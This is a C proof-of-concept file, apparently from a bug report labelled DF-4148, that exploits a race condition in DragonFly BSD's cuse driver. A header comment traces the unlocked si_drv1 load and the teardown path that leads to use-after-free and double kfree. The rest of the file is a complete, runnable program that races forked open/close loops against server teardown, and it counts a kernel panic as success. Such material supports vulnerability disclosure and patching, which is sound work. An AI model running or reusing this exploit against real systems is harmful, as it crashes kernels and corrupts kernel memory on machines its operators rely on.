DF-4148 / cuse_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 | /* * DF-4148 PoC - race: cuse client open() vs cuse server teardown * * cuse_client_open() (cuse.c:1497-1531) loads `pcsd = dev->si_drv1' unlocked, * then takes pcs->mtx and does pcs->refs++. The final cuse_server_unref() * (cuse.c:685-732) decrements refs to 0 WITHOUT any re-check and tears down: * - cuse_server_free_dev() NULLs si_drv1 and kfrees pcsd after an * ASYNCHRONOUS destroy_dev() (DFly destroy_dev = lwkt_sendmsg, * devfs_core.c:755-763 - the "destroy synchronously" comment in * cuse.c:679 is wrong on DragonFly) * - then kfree(pcs). * A client open that loads si_drv1 before the NULL write but increments * refs after the final decrement (0->1) proceeds on the dying server: * TAILQ_INSERT into freed pcs, and its error path (is_closing was set) * runs a SECOND full teardown via cuse_client_free -> cuse_server_unref * => double TAILQ_REMOVE from cuse_server_head, double kfree(pcsd)/kfree(pcs). * * This hammer races fast open/close cyclers against the server teardown. * Success criterion: kernel panic / guest death (check serial console). */ #include <sys/types.h> #include <sys/param.h> #include <sys/ioccom.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #define CUSE_ERR_NONE 0 enum { CUSE_CMD_NONE, CUSE_CMD_OPEN, CUSE_CMD_CLOSE, CUSE_CMD_READ, CUSE_CMD_WRITE, CUSE_CMD_IOCTL, CUSE_CMD_POLL, CUSE_CMD_SIGNAL, CUSE_CMD_SYNC, CUSE_CMD_MAX }; struct cuse_dev; struct cuse_data_chunk { uintptr_t local_ptr, peer_ptr; unsigned long length; }; struct cuse_command { struct cuse_dev *dev; unsigned long fflags; uintptr_t per_file_handle; uintptr_t data_pointer; unsigned long argument, command; }; struct cuse_create_dev { struct cuse_dev *dev; uid_t user_id; gid_t group_id; int permissions; char devname[80]; }; #define CUSE_IOCTL_GET_COMMAND _IOR('C', 0, struct cuse_command) #define CUSE_IOCTL_SYNC_COMMAND _IOW('C', 3, int) #define CUSE_IOCTL_CREATE_DEV _IOW('C', 8, struct cuse_create_dev) #define NCYCLERS 6 #define PUMP_SECS 1 static volatile sig_atomic_t got_alrm; static void alrm_handler(int sig __unused) { got_alrm = 1; } int main(int argc, char **argv) { int rounds = (argc > 1) ? atoi(argv[1]) : 50; int rnd, i; char devname[80]; signal(SIGALRM, alrm_handler); for (rnd = 0; rnd < rounds; rnd++) { int fd = open("/dev/cuse", O_RDWR); struct cuse_create_dev cd; pid_t pid; int status; if (fd < 0) { printf("round %d: open /dev/cuse FAILED: %s " "(guest may have died)\n", rnd, strerror(errno)); fflush(stdout); return 2; } memset(&cd, 0, sizeof(cd)); snprintf(cd.devname, sizeof(cd.devname), "cr%d", rnd); cd.permissions = 0666; if (ioctl(fd, CUSE_IOCTL_CREATE_DEV, &cd) != 0) { printf("round %d: CREATE_DEV: %s\n", rnd, strerror(errno)); fflush(stdout); return 2; } snprintf(devname, sizeof(devname), "/dev/cr%d", rnd); /* cyclers: tight open/close loops; MUST NOT keep /dev/cuse */ for (i = 0; i < NCYCLERS; i++) { pid = fork(); if (pid == 0) { long n = 0, ok = 0; int c; close(fd); /* drop inherited cuse */ for (;;) { c = open(devname, O_RDWR); if (c >= 0) { ok++; close(c); } else { /* dev gone or closing */ if (errno == ENOENT || errno == ENXIO || errno == EINVAL) break; } n++; if (n > 8000000) break; } _exit(0); } } /* pumper: service commands until PUMP_SECS, then close cuse */ pid = fork(); if (pid == 0) { struct cuse_command cmd; int rv = CUSE_ERR_NONE; time_t t0 = time(NULL); alarm(PUMP_SECS); while (!got_alrm) { if (ioctl(fd, CUSE_IOCTL_GET_COMMAND, &cmd) != 0) break; /* EINTR/EIO/closing */ (void)ioctl(fd, CUSE_IOCTL_SYNC_COMMAND, &rv); if (time(NULL) - t0 > PUMP_SECS + 4) break; } alarm(0); close(fd); /* triggers cuse_server_free */ _exit(0); } close(fd); /* drop our file ref */ usleep(60000); for (i = 0; i < NCYCLERS + 1; i++) wait(&status); /* sanity: guest still serving /dev/cuse */ { int t = open("/dev/cuse", O_RDWR); if (t < 0) { printf("round %d: /dev/cuse broken: %s\n", rnd, strerror(errno)); fflush(stdout); return 2; } close(t); } if ((rnd % 10) == 9) { printf("round %d/%d ok\n", rnd + 1, rounds); fflush(stdout); } } printf("all %d rounds done, guest alive\n", rounds); return 0; } |